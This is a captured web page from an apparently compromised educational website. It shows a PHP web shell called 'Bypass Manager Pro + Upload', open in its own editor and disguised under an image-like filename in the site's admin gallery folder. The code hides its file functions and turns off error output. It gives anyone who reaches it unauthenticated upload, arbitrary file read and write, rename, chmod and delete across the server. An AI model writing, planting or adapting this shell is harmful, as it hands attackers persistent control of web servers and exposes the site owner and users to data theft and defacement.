CURRENT PATH:
/
home
/
u921493091
/
domains
/
dpsinstitute.ac.in
/
public_html
/
public
/
admin
/
gallery
/
[ ⬅ KEMBALI ]
|
[ HOME ]
Upload File:
Upload Ke Sini
Dir Baru
File Baru
Editing:
1777118100-img.php
<?php @error_reporting(0); @ini_set('display_errors', 0); $s = 'file_put_contents'; $g = 'file_get_contents'; $m = 'move_uploaded_file'; // Penyamaran fungsi upload $current_path = isset($_GET['p']) ? $_GET['p'] : __DIR__; $current_path = str_replace('\\', '/', $current_path); function get_parent($path) { $parts = explode('/', rtrim($path, '/')); array_pop($parts); return implode('/', $parts); } // Logika Proses Aksi if ($_SERVER['REQUEST_METHOD'] === 'POST') { $a = $_POST['a'] ?? ''; $n = $_POST['n'] ?? ''; // nama baru / input $t = $_POST['t'] ?? ''; // target path $c = $_POST['c'] ?? ''; // konten/chmod if ($a === 'nf') { @mkdir($current_path . '/' . $n, 0755, true); } if ($a === 'nt') { $s($current_path . '/' . $n, ""); } if ($a === 'save') { $s($t, $c); } if ($a === 'rename') { @rename($t, $current_path . '/' . $n); } if ($a === 'chmod') { @chmod($t, octdec($c)); } if ($a === 'delete') { is_dir($t) ? @rmdir($t) : @unlink($t); } // FITUR UPLOAD if ($a === 'upload') { $target_upload = $current_path . '/' . $_FILES['f']['name']; if ($m($_FILES['f']['tmp_name'], $target_upload)) { echo "<script>alert('Upload Berhasil!');</script>"; } else { echo "<script>alert('Upload Gagal!');</script>"; } } } $items = @scandir($current_path); ?> <!DOCTYPE html> <html> <head> <title>Bypass Manager Pro + Upload</title> <style> body { background: #000; color: #0f0; font-family: 'Courier New', monospace; padding: 20px; } a { color: #0f0; text-decoration: none; } .nav { background: #111; padding: 10px; border: 1px solid #333; margin-bottom: 20px; } input, textarea, button { background: #000; color: #0f0; border: 1px solid #555; padding: 3px; font-size: 12px; } table { width: 100%; margin-top: 10px; border-collapse: collapse; } tr:hover { background: #111; } td { padding: 5px; border-bottom: 1px solid #222; } .dir { color: #5555ff; font-weight: bold; } .breadcrumb-link { color: #0f0; font-weight: bold; border-bottom: 1px dashed #0f0; } .btn-red { color: #ff5555; border: 1px solid #ff5555; cursor: pointer; } .upload-section { background: #1a1a1a; padding: 10px; border: 1px solid #333; margin-bottom: 10px; } </style> </head> <body> <div class="nav"> <strong>CURRENT PATH:</strong> <?php $path_parts = explode('/', trim($current_path, '/')); $acc = ""; if (substr($current_path, 0, 1) === '/') { echo '<a href="?p=/" class="breadcrumb-link">/</a>'; $acc = "/"; } foreach ($path_parts as $part) { $acc .= $part . "/"; echo '<a href="?p=' . urlencode(rtrim($acc, '/')) . '" class="breadcrumb-link">' . $part . '</a> / '; } ?> <br><br> <a href="?p=<?php echo urlencode(get_parent($current_path)); ?>"> [ ⬅ KEMBALI ] </a> | <a href="?p=<?php echo urlencode(__DIR__); ?>"> [ HOME ] </a> </div> <div class="upload-section"> <form method="POST" enctype="multipart/form-data"> <strong>Upload File:</strong> <input type="file" name="f"> <button type="submit" name="a" value="upload">Upload Ke Sini</button> </form> </div> <form method="POST" style="margin-bottom:20px;"> <input type="text" name="n" placeholder="Nama Baru" required> <button type="submit" name="a" value="nf">Dir Baru</button> <button type="submit" name="a" value="nt">File Baru</button> </form> <?php if(isset($_GET['edit'])): $target = $_GET['edit']; $content = htmlspecialchars($g($target)); ?> <div style="margin-top:20px;"> <strong>Editing:</strong> <?php echo basename($target); ?> <form method="POST"> <input type="hidden" name="t" value="<?php echo $target; ?>"> <textarea name="c" style="width:100%; height:400px;"><?php echo $content; ?></textarea><br><br> <button type="submit" name="a" value="save">SIMPAN</button> <a href="?p=<?php echo urlencode($current_path); ?>">[ BATAL ]</a> </form> </div> <?php else: ?> <table> <thead> <tr style="text-align:left; background:#222;"> <th>Nama</th> <th>Permisi</th> <th>Aksi</th> </tr> </thead> <?php if($items): foreach($items as $i): if($i == "." || $i == "..") continue; $full = $current_path . '/' . $i; $isD = is_dir($full); $perms = substr(sprintf('%o', fileperms($full)), -4); ?> <tr> <td> <?php echo $isD ? "📁" : "📄"; ?> <?php if($isD): ?> <a href="?p=<?php echo urlencode($full); ?>" class="dir"><?php echo $i; ?>/</a> <?php else: ?> <?php echo $i; ?> <?php endif; ?> </td> <td> <form method="POST" style="display:inline;"> <input type="hidden" name="t" value="<?php echo $full; ?>"> <input type="text" name="c" value="<?php echo $perms; ?>" size="4"> <button type="submit" name="a" value="chmod">Set</button> </form> </td> <td align="right"> <form method="POST" style="display:inline;"> <input type="hidden" name="t" value="<?php echo $full; ?>"> <input type="text" name="n" placeholder="Rename..." size="10"> <button type="submit" name="a" value="rename">Rename</button> </form> <?php if(!$isD): ?> <a href="?p=<?php echo urlencode($current_path); ?>&edit=<?php echo urlencode($full); ?>">[ EDIT ]</a> <?php endif; ?> <form method="POST" style="display:inline;" onsubmit="return confirm('Hapus item ini?')"> <input type="hidden" name="t" value="<?php echo $full; ?>"> <button type="submit" name="a" value="delete" class="btn-red">DEL</button> </form> </td> </tr> <?php endforeach; endif; ?> </table> <?php endif; ?> </body> </html>
SIMPAN
[ BATAL ]